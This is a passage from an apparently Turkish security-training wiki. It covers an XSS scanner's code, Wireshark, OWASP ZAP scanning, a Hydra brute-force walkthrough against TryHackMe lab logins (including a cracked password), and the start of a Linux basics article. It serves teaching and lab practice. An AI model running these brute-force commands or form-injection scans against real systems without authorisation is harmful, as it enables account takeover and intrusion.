                self.vulnerabilities.append({
                    "url": url,
                    "form_details": form_details,
                    "payload": payload,
                })
                break

        if not is_vulnerable:
            self.print_fail("[-] Bu payload için herhangi bir güvenlik açığı bulunamadı.")
        return is_vulnerable

    def scan_urls_with_payloads(self, urls, payloads):
        for url in urls:
            url = url.strip()
            self.print_info(f"Test Edilen URL: {url}")
            for payload in payloads:
                payload = payload.strip()
                is_vulnerable = self.scan_xss(url, payload)
                if is_vulnerable:
                    self.print_success("Güvenlik Açıkları:")
                    for vuln in self.vulnerabilities:
                        self.print_success(f"URL: {vuln['url']}")
                        self.print_info("Form Ayrıntıları:")
                        pprint(vuln["form_details"])
                        self.print_success(f"Yüklenen Payload: {vuln['payload']}")
                    break

        self.print_info("Tüm URL'lerin testi tamamlandı.")
```

### Adım adım bakalım:

* **Form Çıkarımı:** `get_all_forms()` fonksiyonu, belirtilen URL'nin HTML içeriğini çözümleyerek içerdiği tüm HTML formlarını çıkarır. Formlar, kötü niyetli komut dosyalarının potansiyel giriş noktalarıdır.
* **Form Ayrıntıları:** `get_form_details()` fonksiyonu, her bir formu ayrıştırarak işlem URL'si, yöntem `(GET/POST)` ve giriş alanları gibi bilgileri toplar.
* **Saldırı Yüklerinin Gönderilmesi:** `submit_form()` fonksiyonu bir formun ayrıntılarını alır ve giriş alanlarına saldırı yüklerini gönderir. Bu noktada gerçek güvenlik açığı testi gerçekleşir.
* **Güvenlik Açığı Tespiti:** Her bir form için tarayıcı bir saldırı yükü gönderir ve yanıtta yükün yansıyıp yansımadığını kontrol eder. Eğer yansıyorsa, form zayıf olabilir ve XSS saldırısı başarılıdır.

## Kullanım

* **Depoyu Klonlama:** İlk olarak, projenin GitHub deposunu klonlayarak başlayın.

```
git clone https://github.com/iyad-alahmad/web-crawler-xss-scanner.git
```

* **Dizin Değiştirme ve Çalıştırma:** Proje dizinine geçin ve betiği çalıştırın.

```
cd web-crawler-xss-scanner
python xss-scanner.py
```

* **Etkileşim ve İzleme:** Ekrandaki talimatları takip ederek hedef bir URL girmeniz ve betiğin web sitesini keşfetmesi, URL'leri kaydetmesi ve XSS güvenlik açıklarını tarayabilmesini izleyebilirsiniz.

## Başarılı Sonuç Veren Örnek Lablar

* [XSS-Game](https://xss-game.appspot.com/level1/frame)
* [Vulnweb](http://testphp.vulnweb.com/index.php)
* [Portswigger](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded)
* [Portswigger-encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)

## Sonuç

Bu şekilde projeyi sadece tanıtmakla kalmayıp temel bileşenlerini de açıklamış olduk. URL'leri keşfetmek için bir web crawler oluşturmanın ve potansiyel güvenlik açıklarını tespit etmek için bir XSS tarayıcısı oluşturmanın nasıl yapıldığını öğrenmiş olduk. Güvenlik dinamik bir alan olduğundan, bu tür pratiğe dayalı projeler anlayışımızı önemli ölçüde artırabilir.

## References

* Cross-Site Scripting (XSS) - Python Code
* Cross-Site Scripting (XSS) - PortSwigger
* Cross-Site Scripting (XSS) - OWASP

{% embed url="<https://github.com/iyad-alahmad>" fullWidth="false" %}
Bu yazı Iyad Alahmad tarafından hazırlanmıştır.
{% endembed %}


# Wireshark

<figure><img src="/files/aRQZsYIi5n3TmOd6G4aL" alt="" width="563"><figcaption></figcaption></figure>

Wireshark, ağın karanlık köşelerine giriş yapabilen bir bilgi Ninja’sıdır. Onu kullanmak, ağ trafiğinin içindeki her detayı açığa çıkarmak anlamına gelir. İlk adım, Wireshark'ı indirip kurmak. Sonra, istediğiniz ağ arayüzünü seçip "Capture" tuşuna basarak dijital casusluğa başlayabilirsiniz. Artık karşınızda canlı ağ trafiği, bir veri denizinde yüzmeye hazır. Paketleri çözümleyebilir, kısacası Modern çağda ağları anlamak, korumak ve sürdürmek için temel bir araçtır. Ancak unutmayın, güçlü bir kılıç her zaman sorumluluk gerektirir!

### **Wireshark nedir?**

Wireshark, kullanıcıların ağ trafiğini yakalamasına ve incelemesine olanak tanıyan güçlü, açık kaynaklı bir ağ analiz aracıdır. Kullanıcıların ağ trafiğini yakalamasını, analiz etmesini ve sorun gidermesini sağlayan güçlü bir araçtır. Wireshark, ağ arayüzünden akan veri paketlerini analiz ederek ağda neler olup bittiğini mikroskobik düzeyde görmeyi sağlar. Filtreler, renk kodlaması, grafikler ve trafik analizi için diğer özelliklerle kullanıcı dostu bir GUI'ye sahiptir. IP, TCP, UDP, HTTP, SSL/TLS, FTP, DNS, DHCP ve çok daha fazlası dahil olmak üzere çok sayıda protokol desteklenmektedir. Sonuç olarak çok sayıda ağ uygulamasının trafiğini analiz etmek ve başlık bilgileri, yük verileri, ana bilgisayar iletişimleri, en çok iletişim kuranlar vb. gibi paketler hakkında belirli bilgiler elde etmek mümkündür. Wireshark, Ethernet, Wi-Fi ve Bluetooth dahil olmak üzere ağ arayüzlerinden veri yakalayabilir. Kullanıcılar yakalanan verileri üst düzey protokol özetlerinden ayrıntılı paket düzeyi analizlerine kadar çeşitli düzeylerde görüntüleyebilirler.

***

### **Wireshark Ağ Filtrelemesi**

Wireshark, belirli ağ olaylarını veya sorunlarını bulmayı ve analiz etmeyi kolaylaştıran çeşitli filtreleme ve arama özellikleri sunar.

#### Çeşitli filtre türleri vardır:

* Capture filtreleri: Bunlar, gelen ağ trafiğini yakalamadan önce filtreler. Capture filtreleri pcap filtre sözdizimine dayanır ve capture seçenekleri iletişim kutusunda veya bir capture başlatılırken komut satırında belirtilebilir.
* Display filtreleri: Bunlar, ana pencerede görüntülenen yakalanan ağ trafiğini filtrelemek için kullanılır. Display filtreleri Wireshark'ın display filtresi sözdizimini temel alır ve ana pencerenin üst kısmındaki filtre çubuğuna girilebilir.
* Protokol filtreleri: Bunlar ağ trafiğini kullanılan protokole göre filtreler. Protokol filtreleri "Analiz" menüsünde mevcuttur ve yalnızca belirli bir protokolü kullanan trafiği görüntüleyebilir.
* Conversation filtreleri: Bunlar ağ trafiğini iki ana bilgisayar arasındaki konuşmaya göre filtreler. Conversation filtreleri "Statistics" menüsünde mevcuttur ve yalnızca ana bilgisayarlar arasındaki trafiği görüntüler.

***

### Wireshark'taki Bazı Filtre Örnekleri Şunlardır:

| ip.addr == 192.168.1.1                         |                      Bu filtre yalnızca 192.168.1.1 IP adresini içeren ağ trafiğini görüntüleyecektir                     |
| ---------------------------------------------- | :-----------------------------------------------------------------------------------------------------------------------: |
| TCP.port == 80                                 | Bu filtre yalnızca HTTP trafiği için yaygın olarak kullanılan TCP bağlantı noktası 80'i kullanan ağ trafiğini görüntüler. |
| udp                                            |                            Bu filtre yalnızca UDP protokolünü kullanan ağ trafiğini görüntüler.                           |
| http.request.method == “GET”                   |                            Bu filtre yalnızca GET yöntemini kullanan HTTP trafiğini görüntüler.                           |
| ip.src == 192.168.1.1 && ip.dst == 192.168.1.2 |               Bu filtre yalnızca 192.168.1.1 ve 192.168.1.2 IP adresleri arasındaki ağ trafiğini görüntüler.              |

### Wireshark görüntü filtresi

<figure><img src="/files/DtKRsiCUHbl9tqBOtki0" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/XDblYjKtXVyd95yLAbU1" alt="" width="563"><figcaption></figcaption></figure>

### Wireshark Ağ Paket Analizi

<figure><img src="/files/b7f4HNlH56xqu0AQxrEc" alt="" width="563"><figcaption></figcaption></figure>

Seçtiğiniz ağ arayüzü üzerinden trafiği izlemeye başladığınızda, Wireshark size paketleri göstermeye başlayacak. Yukarıdaki filtre menüsünü kullanarak istediğiniz trafik türünü belirleyerek gelen ve giden paketler arasında filtreleme yapabilirsiniz.

#### HTTP Trafiğini İncelemek

<figure><img src="/files/Nb28ea87OKwZU0DqpAEC" alt="" width="563"><figcaption></figcaption></figure>

Filtre kutusuna "http" yazdığınızda, sanki büyülü bir anahtarla kapıyı açmışçasına sadece HTTP trafiği akacak arayüzde. O sütunlara bir göz atalım: "No" kısmında paket numarası, "Time" kısmında zamanı, "Source" kısmında paketin kaynağı, "Destination" kısmında hedefi, "Protocol" kısmında protokol türü, "Length" kısmında uzunluğu ve "Info" kısmında ise paket hakkında kısa bilgi yer alıyor.

Bu filtreyle sadece HTTP trafiğini incelemekle kalmıyoruz, aynı zamanda HTTP/2 veya HTTP/3 gibi daha güncel protokoller üzerinde de filtreleme yapabiliyoruz. Ne kadar harika değil mi? İşte, tam da o filtreyi uyguladığınızda sanki büyülü bir dünya açılmış gibi hissedersiniz.

#### Bir IP Adresinden Gelen HTTP Trafiğini İncelemek

<figure><img src="/files/e5Oa3vXjoIYh8PSpOLau" alt="" width="563"><figcaption></figcaption></figure>

Tabii ki! Filtreleme, ağ trafiğini belirli bir kaynak IP adresine göre daraltmanın harika bir yoludur. "ip.src==10.10.10.1" formatındaki bu filtre, sadece belirtilen kaynak IP adresine ait paketleri gösterecektir. Bu, özellikle belirli bir cihazın veya sunucunun trafiğini izlemek veya analiz etmek istediğinizde oldukça yararlıdır. Artık o IP adresiyle ilişkilendirilmiş tüm ağ etkinliklerini kolayca takip edebilirsiniz.

#### TCP Paketinin İçeriğini İncelemek

<figure><img src="/files/HajSGOSiUP6mPymqNQif" alt="" width="563"><figcaption></figcaption></figure>

Wireshark'ın en güçlü özelliklerinden biri, TCP iletişimlerinin detaylı bir şekilde incelenebilmesidir. TCP (Transmission Control Protocol), internet üzerinde veri iletimi için temel bir protokoldür ve birçok uygulama tarafından kullanılır. Wireshark'ı kullanarak bir TCP iletişiminin içeriğini incelemek oldukça kolaydır. Bir pakete sağ tıklayarak "TCP akışını izle" seçeneğini seçtiğinizde iletişimin tam içeriği yeni bir pencerede görüntülenir. Bu pencerede iletişimin başından sonuna kadar olan tüm verileri görebilirsiniz; özellikle web trafiği inceliyorsanız HTTP üstbilgilerini ve gerektiğinde düz metin kimlik bilgilerini görebilirsiniz.

{% embed url="<https://github.com/MKLKCDG>" fullWidth="false" %}
Bu yazı Mikail KOCADAĞ tarafından hazırlanmıştır.
{% endembed %}


# ZAP

## ZAP nedir?

**ZAP (Zed Attack Proxy)** **ücretsiz**, **açık kaynaklı** bir sızma testi aracı ve güvenlik tarayıcısıdır. Birincil işlevi, hem siber güvenlik uzmanlarına hem de alana yeni giriş yapanlara web uygulamalarındaki güvenlik açıklarını bulma konusunda yardımcı olmaktır. ZAP, web uygulamalarının **geliştirme** ve **test** aşamalarında ve ayrıca yayımlanmış olan (deployed) web sitelerinin güvenlik testlerinde de kullanılabilir. Geliştiricilerden ve siber güvenlik meraklılarından oluşan geniş ve aktif bir topluluk tarafından desteklenen ZAP, sık sık güncelleme ve yama alır. **The Software Security Project (SSP)** çatısı altında geliştirilmeye devam edilmektedir.

<figure><img src="/files/5ygbeg8rtQzATj22KoCb" alt=""><figcaption></figcaption></figure>

ZAP, **"MITM (Man-in-the-Middle)"** proxy'sini kullanarak, tarayıcınız ile web sunucusu arasındaki HTTP/HTTPS trafiğini yakalamanıza ve analiz etmenize olanak tanır. Bu, isteklerin(requests)/yanıtların(responses) manuel olarak test edilmesine ve değiştirilmesine olanak tanır.

<figure><img src="/files/YBYqow1Dg2RxOejqyDDg" alt=""><figcaption></figcaption></figure>

## Özellikler

* **XSS**, **SQL injection** ve daha fazlasını içeren çok çeşitli zafiyetleri tespit etmek için hem **pasif** (trafik analizi) hem de **aktif** (payload'lar göndererek) olarak gerçekleştirebilirsiniz.
* ZAP'in dâhilî **fuzzing** özelliklerini kullanarak uygulamanızın esnekliğini hatalı biçimlendirilmiş (malformed) veya beklenmedik verilere karşı test edebilirsiniz.
* Genişletilmiş penetrasyon testleri için **gizli sayfaları**, **dizinleri** ve işlevleri keşfetmek üzere bir web uygulamasını otomatik olarak **tarayabilirsiniz**.
* Belirlenen güvenlik açıklarını özetleyen ve önerilen düzeltme adımlarını sunan çeşitli formatlarda (XML, HTML vb.) ayrıntılı **raporlar** oluşturabilirsiniz.
* **ZAP Marketplace**'te bulunan **Eklentiler (Add-ons)**, taramaları özelleştirmenize ve aracın işlevselliğini belirli ihtiyaçlara göre genişletmenize olanak tanır.

## Uygulama

### ZAP'i Yükleyin

ZAP'in [Download](https://www.zaproxy.org/download/) sayfasından indirin ve kurun.

*ZAP'in çalışması için Java 11+ sürümünün gerekli olduğunu unutmayın.*

### ZAP'i Çalıştırın

*ZAP'i ilk başlattığınızda, ZAP oturumuna (session) devam etmek isteyip istemediğiniz sorulacaktır. Varsayılan olarak, ZAP oturumları her zaman bir HSQLDB veritabanındaki diske varsayılan ad ve konumla kaydedilir. Oturuma devam etmezseniz ZAP'tan çıktığınızda bu dosyalar silinir.* *Bir oturumu sürdürmeyi (persisting) seçerseniz, oturum bilgileri daha sonra erişebilmeniz için yerel veri tabanına kaydedilecek ve dosyaların kaydedilmesi için özel adlar ve konumlar sağlayabileceksiniz.*

<figure><img src="/files/tzo9A8bZNRLpVLpwO30y" alt="Sürekli Oturum"><figcaption></figcaption></figure>

*Şimdilik 'Hayır, bu oturumu şu anda sürdürmek istemiyorum'u seçin ve ardından Başlat'a tıklayın. ZAP oturumları şimdilik sürdürülmeyecek.*

### Kullanım

<figure><img src="/files/e6uQkFwAgn7C9xaAArmP" alt="ZAP Layout"><figcaption></figcaption></figure>

1. Menü Çubuğu (Menu Bar) – Otomatik ve manuel araçların çoğuna erişim sağlar.
2. Araç Çubuğu (Toolbar) – En sık kullanılan özelliklere kolay erişim sağlayan düğmeler içerir.
3. Ağaç Penceresi (Tree Window) – Sitenin tree yapısını ve Scripts ağacını görüntüler.
4. Çalışma Alanı Penceresi (Workspace Window) – **istekleri**, **yanıtları** ve **scriptleri** görüntüler ve bunları düzenlemenizi sağlar.
5. Bilgi Penceresi (Information Window) – Otomatik ve manuel araçların ayrıntılarını görüntüler.
6. Alt Bilgi (Footer) – Bulunan **alertlerin** bir özetini ve ana otomatik araçların durumunu görüntüler.

#### Otomatik Tarama

Otomatik tarama yapmak için Çalışma Alanındaki Automated Scan'e tıklayın:

<figure><img src="/files/ALnIi2jhjVBesiwOgZ3l" alt="Automated Scan"><figcaption></figcaption></figure>

Test etmek istediğiniz sitenin adresini girin ve ⚡Attack'e tıklayın.

*Geleneksel ZAP spider'ı web uygulamasından gelen yanıtlardaki HTML'i inceleyerek bağlantıları keşfeder. Bu spider hızlıdır ancak JavaScript kullanarak bağlantılar oluşturan bir AJAX web uygulamasını keşfederken her zaman en etkili yöntem olmayabilir. AJAX uygulamaları için ZAP'in AJAX spider'ının daha etkili olması muhtemeldir. Bu spider, daha sonra oluşturulan bağlantıları takip eden tarayıcıları çağırarak web uygulamasını tarar. Tarama, testi yavaşlatmamak için arka planda gerçekleştirilir.*

Bu yöntem, web uygulaması sayfalarında gezinerek pasif tarama kullanır:

<figure><img src="/files/QQ0JpX5y50WejDzKhc6e" alt="Crawling"><figcaption></figcaption></figure>

Pasif taramanın ardından ZAP, aktif taramayla payload'lar göndererek keşfedilen sayfalara saldırı gerçekleştirmeye başlar:

<figure><img src="/files/0QDZPYOIqYqZRR5qL6Gf" alt="ZAP Active Scanning"><figcaption></figcaption></figure>

[Yavuzlar](https://yavuzlar.org/)'da bir zafiyete rastlayamadık tabii 😁. Birazdan zayifetli bir sitede test yapacağız.

#### Alerts

Footer bölümü, test sırasında bulunan ve web uygulamasındaki olası zafiyetleri ifade etmek için kullanılan, risk kategorilerine ayrılmış Alert'leri içerir:

<figure><img src="/files/dFs2YjFEPn1P648nEx1Q" alt="Alerts"><figcaption></figcaption></figure>

Bir alerte tıklarsanız, keşfedilen güvenlik açığı ve birçok ek bilgi Bilgi Penceresinde görüntülenir.

[Hackviser](https://app.hackviser.com/labs/web-application-security)'ın Basic SQL Injection labındaki zafiyetli web uygulamasını tarayalım; bu web uygulaması içinde SQLi zafiyeti barındıran bir login sayfası:

<figure><img src="/files/j9YPsycKbdzE1tmrLiQL" alt="Hackviser Example"><figcaption></figcaption></figure>

Taramadan sonra, ZAP aşağıdaki Alert'leri listeledi:

<figure><img src="/files/ZB4l9BUJcPWv3dIQVuWS" alt="Found Alerts"><figcaption></figcaption></figure>

Yukarıda görüldüğü üzere ZAP bu sitede bir SQL Injection zafiyetinin olabileceğini söylüyor:

<figure><img src="/files/os9AgrvuNHdmfytf3YiF" alt="SQLi Alert"><figcaption></figcaption></figure>

Yukarıda zafiyetin olduğu **adresi**, **risk seviyesini**, **zafiyetin varlığından ne kadar emin olunduğunu**, hangi **parametrelerde** zafiyet olduğunu ve gönderilen **payload** gibi birçok bilgiye erişebilirsiniz.

#### Manuel Tarama

Manuel Taramanın sınırlı imkanlarını genişletmek için ZAP'in Manuel Keşfetme özelliğini de kullanabilirsiniz.

*Oturum açma sayfasıyla korunan sayfalar pasif tarama sırasında keşfedilemez çünkü ZAP'in kimlik doğrulama (authentication) işlevini yapılandırmadığınız sürece ZAP gerekli kimlik doğrulamayı gerçekleştirmeyecektir.* *Pasif taramada keşif veya otomatik saldırıda gerçekleştirilen saldırı türleri üzerinde çok fazla kontrole sahip değiliz. ZAP, pasif taramanın dışında keşif ve saldırılar için birçok ek seçenek sunuyor.*

<figure><img src="/files/C392UniH0uwFxCM1lOtJ" alt="ZAP Manual Scanning"><figcaption></figcaption></figure>

**The Heads Up Display**

*Heads Up Display (HUD), ZAP işlevselliğine doğrudan tarayıcıdan erişim sağlayan yenilikçi bir arayüzdür. Web güvenliğine yeni başlayan kişiler için idealdir ve aynı zamanda deneyimli pentesterlar için de önemli güvenlik bilgileri ve işlevleri sağlarken bir uygulamanın işlevselliğine odaklanmasına da olanak tanır.*

<figure><img src="/files/I104JA6ZmYRzVt7FUf6T" alt="ZAP HUD"><figcaption></figcaption></figure>

## Sonuç

**OWASP ZAP**, ister profesyonel bir pentester, ister yeni başlayan bir web güvenliği meraklısı olun, yararlı bir araçtır. Otomatik, manuel test yetenekleri ve güçlü topluluk desteğinden oluşur ve testlerinizi kolaylaştırabilir. Yaptığınız bu testlerle beraber siber güvenlik yolculuğunuzda kendinize birçok bilgi ve deneyim katabilir, yolunuza bu araçtan yardım alarak devam edebilirsiniz. Sürekli güncellenen ve sağlam bir destek altyapısına sahip olan bu tool, her geçen gün büyümeye ve değişmeye devam ediyor. Tıpkı senin gibi dostum. Happy hacking!

### İleri Okuma

* [ZAP's Documentation](https://www.zaproxy.org/docs/)
* [Github Page](https://github.com/zaproxy)
* [Github Source Code](https://github.com/zaproxy/zaproxy)
* [ZAP's Community](https://www.zaproxy.org/community/)
* [ZAP's Blog](https://www.zaproxy.org/blog/)
* [ZAP's Official Videos](https://www.zaproxy.org/videos/)

{% embed url="<https://github.com/burkocyigit>" fullWidth="false" %}
Bu yazı Burak Koçyiğit tarafından hazırlanmıştır.
{% endembed %}


# HYDRA

<figure><img src="/files/3w4ZTznNufuMXxvH2NEx" alt="" width="650"><figcaption></figcaption></figure>

## **HYDRA NEDİR?**

Hydra, Kali Linux ile birlikte gelen ve sızma testlerinde Brute-Force saldırıları için kullanılan güçlü bir araçtır. Bu yazılım, çeşitli protokolleri (HTTP, FTP, SSH, Telnet, vb.) hedefleyerek parola kırma işlemlerini otomatikleştirir. Online olarak parola kırmaya yönelik olan Hydra, kullanıcı adı ve parola listelerini alarak sistemlere otomatik denemeler yapar ve doğru kombinasyonu bulana kadar sürekli deneme yapmaya devam eder. Adını yunan mitolojisindeki çok başlı yaratıktan alan Hydra, sisteminizde yüklü değilse veya yüklemek istiyorsanız, ilgili adımları takip etmelisiniz. Kullanımı kolay ve esnek bir yapıya sahip olan Hydra, şifre saldırıları için özel olarak wordlist oluşturabilir veya hazır wordlistler kullanabilir, bu nedenle güvenlik testleri için yaygın bir tercih haline gelmiştir.

***

## **HYDRA KURULUMU**

```
sudo apt-get install hydra
```

<figure><img src="/files/wcZqQ2ijIDdETy964ogS" alt="" width="650"><figcaption></figcaption></figure>

### Github ile HYDRA Kurulumu

```
https://github.com/vanhauser-thc/thc-hydra
```

Adresinden repoyu klonlama işlemi yapılmalıdır.

<figure><img src="/files/ucprDNJeS3t7TAoCiJEC" alt="" width="650"><figcaption></figcaption></figure>

<figure><img src="/files/Uu96JwDjb8tNRS6LVont" alt="" width="650"><figcaption></figcaption></figure>

Linux makinesinde klonlama işlemi yapıldıktan sonra “apt-get install hydra” komutu ile yükleme işlemi yapılabilir.

<figure><img src="/files/PWLLA9KYgJTzUEQGGSMr" alt="" width="650"><figcaption></figcaption></figure>

***

## **HYDRA KULLANIMI**

hydra -l \<kullanıcı\_adı> -P \<parola\_listesi> \<hedef\_ip\_adresi> \<hedef\_protokol>

\<kullanıcı\_adı>: Hedef sistemde denemek istenilen kullanıcı adının belirtilmesi. \<parola\_listesi>: Hydra'nın kullanacağı parola listesini belirtilmesi. Bu, saldırı sırasında denenecek olan parolaların listesidir. \<hedef\_ip\_adresi>: Bruteforce saldırısı gerçekleştirmek istenilen hedefin IP adresini belirtilmesi. \<hedef\_protokol>: Saldırının gerçekleştirmek istenilen protokolün belirtilmesi. Örneğin, HTTP, FTP, SSH gibi protokoller kullanılabilir.

Örnek Komut :

```
hydra -l admin -P passwords.txt 192.168.0.100 ftp
```

Bu komut, admin kullanıcı adını kullanarak passwords.txt dosyasındaki parolaları kullanarak FTP protokolü üzerinde hedef IP adresi 192.168.0.100 olan sistemde bruteforce saldırısı gerçekleştirecektir.

***

## **HYDRA PARAMETRELERİ**

`-h` / `--help` : Yardım menüsünü gösterir. `-l` LOGIN : Hedef sistemde denenecek olan kullanıcı adını belirtir. `-L` FILE : Kullanıcı adı listesini belirtir. Birden çok kullanıcı adını içeren bir dosya kullanılabilir. `-p` PASS : Denenecek parolayı belirtir. `-P` FILE : Parola listesini belirtir. Birden çok parolayı içeren bir dosya kullanılabilir. `-f` FAIL : Hedef başarısız olduğunda programı durdurur. `-V` / `--verbose` : Ayrıntılı çıktı gösterir. `-S` : SSL bağlantısı gerçekleştirir. `-s` PORT : SSH portunu belirtir. Varsayılan olarak 22 kullanılır. `-e` ns : Enumerate, başarılı giriş yapan kullanıcı adlarını görüntüler. `-t` TASKS : Aynı anda çalıştırılacak görev sayısını belirtir. `-R` : Önceki iptal edilen/çöken oturumu geri yükler. `-I` : Mevcut bir geri yükleme dosyasını yok sayar. `-y` : Kaba kuvvette sembollerin kullanımının devre dışı bırakılması.

***

## **HYDRA HANGİ PROTOKOLLERİ DESTEKLER**

Hydra'nın desteklediği protokoller: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

***

## **HYDRA İLE İLGİLİ MAKİNE ÇÖZÜM ÖRNEĞİ**

Makine : TryHackMe / Hydra

<figure><img src="/files/yEfGBsSkADyJobvVtED4" alt="" width="650"><figcaption></figcaption></figure>

İlk olarak bizden Molly'nin web şifresini **hydra** kullanarak kırmamız isteniyor.

<figure><img src="/files/yTt8VcKa1fpgK377n5L5" alt="" width="650"><figcaption></figcaption></figure>

```
hydra -l molly -P /root/Desktop/rockyou.txt 10.10.136.244 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
```

Burada -l parametresi ile kullanıcı adı -P parametresi ile wordlist kullanılmıştır. Daha sonra hedef IP adresi gösterilmiştir ve http-post-form formatında bir arama isteğinde bulunmuştur. -V parametresi ile de çıktıları göstermiştir.

<figure><img src="/files/691nVJ2oEkYyeyyTqBKo" alt="" width="650"><figcaption></figcaption></figure>

<figure><img src="/files/KsyWok4O5nU5PRIROJc7" alt="" width="650"><figcaption></figcaption></figure>

<figure><img src="/files/rThGETRk9TKluUZz1rOX" alt="" width="650"><figcaption></figcaption></figure>

Hydra ile kaba kuvvet saldırısı yapılmış olup şifrenin de "sunshine" olduğu belirlenmiştir.

Sisteme giriş yaptıktan sonra flag da bulunmuştur.

<figure><img src="/files/p3UCTSZnAVnSdwLbvtJc" alt="" width="650"><figcaption></figcaption></figure>

İkinci istenilen ise Molly'nin SSH şifresinin ne olduğudur.

<figure><img src="/files/uZtVA74l0YopXerTB2ax" alt="" width="650"><figcaption></figcaption></figure>

<figure><img src="/files/W9sJ14sF2HF7T9f9ub61" alt="" width="650"><figcaption></figcaption></figure>

Bu sefer **hydra** aracı ssh girişi için kullanılmıştır. Yapılan kaba kuvvet saldırısı sonucu kullanıcının ssh şifresi öğrenilmiştir.

<figure><img src="/files/7m8wVoy7l1wpWaJk0GP9" alt="" width="650"><figcaption></figcaption></figure>

Sonra ssh girişi yapılmıştır.

<figure><img src="/files/dM667mFv8Q4fs3VuWNuA" alt="" width="650"><figcaption></figcaption></figure>

SSH ile giriş yaptıktan sonra flag dosyasını okuduktan sonra flag'a ulaşılmıştır.

{% embed url="<https://github.com/euslu11>" fullWidth="false" %}
Bu yazı Emirhan USLU tarafından hazırlanmıştır.
{% endembed %}


# Linux101

<figure><img src="/files/TtrcuarW7ooR3bir5RkJ" alt="" width="563"><figcaption></figcaption></figure>

Linux'a biraz arka planda dönen hikayesi ile başlayalım, aslında her şey 1969 yıllarında Thompson ve Dennis Ritchie'nin UNIX işletim sistemini geliştirmesi ile başladı. On yılı geçgin bir süre de Richard Stallman, Hurd adı verilen GNU projesi üzerinde çalışmaya başladı, ne yazık ki projeyi tamamlayamadı. (Kernel, işletim sisteminin en önemli parçasıdır. Donanımın yazılım ile haberleşmesini sağlar.) Bu süre zarfında BSD, MINIX vb. gibi diğer çalışmalar UNIX benzeri sistemler olacak şekilde geliştirildi. Ancak tüm bu UNIX benzeri sistemlerin ortak noktası, birleşik bir kernel'in olmamasıydı. Daha sonra 1991 yılında Linus Torvalds adında genç bir adam, bugün Linux kernel olarak bildiğimiz yazılımı geliştirmeye başladı.

## Linux Dağıtımları

<figure><img src="/files/vRTsLRl4sZf6apgaFxg4" alt="" width="563"><figcaption></figcaption></figure>

Bir linux sistemi üç ana bölüme ayrılmıştır;

* Donanım: Bu sisteminizin üzerinde çalıştığı tüm donanımın yanı sıra bellek, CPU, diskler vb. gibi dahili donanımları da içerir.
* Linux Kernel: Kernel işletim sisteminin çekirdeğidir. Donanımı yönetir ve ona sistemle nasıl etkileşim kuracağını söyler.
* Kullanıcı Alanı: Bu kısım bizim gibi kullanıcıların sistemle doğrudan iletişime geçeceği yerdir.
* Bazı linux dağıtımları şunlardır; Debian Red Hat Enterprise Linux Ubuntu Fedora Linux Mint Gentoo Arch Linux openSUSE Manjaro Slackware CentOS Puppy

## Komut Satırı

<figure><img src="/files/HXidP1hIaqS0mto2UNiM" alt="" width="563"><figcaption></figcaption></figure>

#### Shell

Shell, adeta işletim sisteminin eldiveni gibidir. Komutlarınızı alır ve onları sistemle iletişim kuracak şekilde işler. Bazı insanlar ona 'Terminal' derken, diğerleri 'Konsol' diyebilir. Ama sonuçta, işletim sisteminin arka planında dönen sihirli bir şeydir! Farklı kabuk türlerinin varlığından bahsedilebilir. Örneğin Ksh, zsh, ve tsch gibi. Bu farklı kabuklar, kullanıcıların tercihlerine ve ihtiyaçlarına göre farklı özellikler sunabilir. Belki de farkına varmışsınızdır. Komut isteminin başındaki `$` işaretini. Farklı kabuklar, farklı komut istemi sembollerine sahip olabilir. Bizim satırımızda, `$` sembolü, Bash, Bourne veya Korn kabuklarını kullanan tipik bir kullanıcı için geçerlidir. Komut yazarken bu sembolü eklemeniz gerekmez, ancak her zaman orada olduğunu görebilirsiniz.

#### pwd (Print Working Directory)

Linux, her şeyin bir dosya olduğu garip ve harika bir dünyadır. Ne demek istediğimi daha derine indikçe daha iyi anlayacaksınız, ancak şimdilik bu fikri aklınızda tutun. Her dosya, bir ağaç gibi düzenlenmiş hiyerarşik bir dizin içinde yer alır. Bu dizin ağacının en üstünde kök dizin bulunur ve buradan itibaren daha fazla klasör ve dosya keşfetmeye başlarsınız. Bir nevi, bilgisayarınızın saklambaç oyunu gibi düşünebilirsiniz. İşte size bu dizin ağacın nasıl göründüğüne dair bir örnek:

<figure><img src="/files/bFdsYeITf5McV8lfZ1g9" alt="" width="563"><figcaption></figcaption></figure>

Bu dosya ve dizinlerin konumu yol olarak adlandırılır. Eğer home adında bir klasörünüz ve içinde user adında bir klasörünüz ve bu klasörün içinde bin adında başka bir klasörünüz varsa, bu yol şöyle görünür: /home/user/bin, oldukça basit değil mi?

Dosya sisteminde gezinmek, gerçek hayatta olduğu gibi nerede olduğunuzu ve nereye gittiğinizi bilmeniz açısından faydalıdır. Nerede olduğunuzu görmek için `pwd` komutunu kullanabilirsiniz. Bu komut "çalışma dizinini yazdır" anlamına gelir ve size sadece hangi dizinde olduğunuzu gösterir, yolun kök dizinden kaynaklandığına dikkat edin.

<figure><img src="/files/LIUqe76UcmAY1c75MYea" alt="" width="563"><figcaption></figcaption></figure>

#### cd (Change Directory)

Şimdi, nerede olduğunuzu bildiğinize göre, dosya sisteminde biraz gezinmeye ne dersiniz? Yolları kullanarak yolumuzu bulmamız gerektiğini unutmayın. Dosya sisteminde gezinmek için iki farklı yol türü vardır: mutlak ve göreceli yollar. Hangi yolu seçerseniz seçin, dosya sisteminde kaybolma şansınız yok! Hadi yolculuğa başlayalım!

<figure><img src="/files/oo7mRCx1o35E5yA93Ly5" alt="" width="563"><figcaption></figcaption></figure>

